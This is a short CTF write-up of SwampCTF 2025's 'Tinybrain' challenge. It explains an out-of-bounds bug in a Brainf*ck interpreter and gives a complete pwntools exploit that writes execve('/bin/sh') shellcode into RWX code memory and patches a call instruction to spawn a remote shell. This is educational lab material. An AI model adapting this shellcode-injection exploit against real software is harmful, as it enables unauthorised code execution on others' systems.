SwampCTF 2025 - Tinybrain

Posted Sun 30 March 2025
Author cpu_eater
Category Writeup
Reading 3 min read
Featured image

Context

This challenge was about a vulnerable Brainf*ck interpreter. Here are the allowed instruction set :

  • + : increment the value pointed by array cursor
  • - : decrement the value pointed by array cursor
  • > : increment the cursor (shift the pointer to the right)
  • < : decrement the cursor (shift the pointer to the left)
  • [ : start a loop until the value of the cursor is 0
  • ] : end of the loop, jump to the previous [
  • . : print a char in ASCII convention in STDOUT
  • , : input of a char in STDIN

Vulnerabilty

There was an out-of-bounds because no bounds verification was made when using > and < instructions.

Strategy

Because the .text segment was mapped as RWX, it was possible to write our shellcode somewhere and redirect execution flow . We could see this as a “VM escape”.

I started to code the helper functions that will be useful for the final payload :

def right(x):
    return b'>'*x

def left(x):
    return b'<'*x

def add(x):
    return b'+'*x

def set_to_zero():
    return b'[-]'

def set_to(x):
    return set_to_zero() + add(x)

def getchar():
    return b','

The buffer starts at 0x403800 but i have to do an out-of-bounds to escape the interpreter.
I will start writing my shellcode at 0x4010ba.
However, i have to notify the interpreter that i want to jump to my shellcode at 0x4010ba. How can i do that ?

Redirection of execution flow

We can overwrite anything, anywhere : why not overwriting interpreter code directly ?
I could change call 0x40102a (at address 0x40101e) to call 0x4010ba (address of shellcode) by changing one byte :

Before byte overwrite :
0x40101e:    0x0000[07]e8    <call 0x40102a>

After byte overwrite :
0x40101e:    0x0000[97]e8    <call 0x4010ba>

The overwriting of 0x97 value at 0x40101f will redirect the execution flow into our shellcode.

Of course, we have to do this after writing our shellcode because it will break the interpreter and we won’t be able to parse any brainf*ck code again.

Here is the layout of the final payload :

     +----------+
     | 0x401000 | <- start of interpreter code
     +----------+
     |   ...    |
     +----------+
     | 0x40101e | <- (call 0x40102a) that will become (call 0x4010ba) -----+
     +----------+                                                          |
     |   ...    |                                                          |
     +----------+                                                          |
+--> | 0x4010ba | <- start of our shellcode  <-----------------------------+
|    +----------+
|    |   ...    |
|    +----------+
+--- | 0x403800 | <- Contains payload full of '<' with shellcode
     +----------+

Exploit

from pwn import *

def right(x):
    return b'>'*x

def left(x):
    return b'<'*x

def add(x):
    return b'+'*x

def set_to_zero():
    return b'[-]'

def set_to(x):
    return set_to_zero() + add(x)

def getchar():
    return b','

def write_shellcode():
    shellcode = asm(shellcraft.amd64.execve("/bin/sh"),arch="amd64")
    z = b""
    for i in shellcode:
        z += set_to(i)
        z += right(1)
    return z

payload = left(0x403800-0x4010ba) + write_shellcode() + left(192) + getchar() + b'.'+  b'q'
p = remote("chals.swampctf.com",41414)
p.send(payload)
p.send(p8(0x97))
p.interactive()

Notes

This challenge should be called with a filename in argv[1] to work locally. But in remote, an input was provided.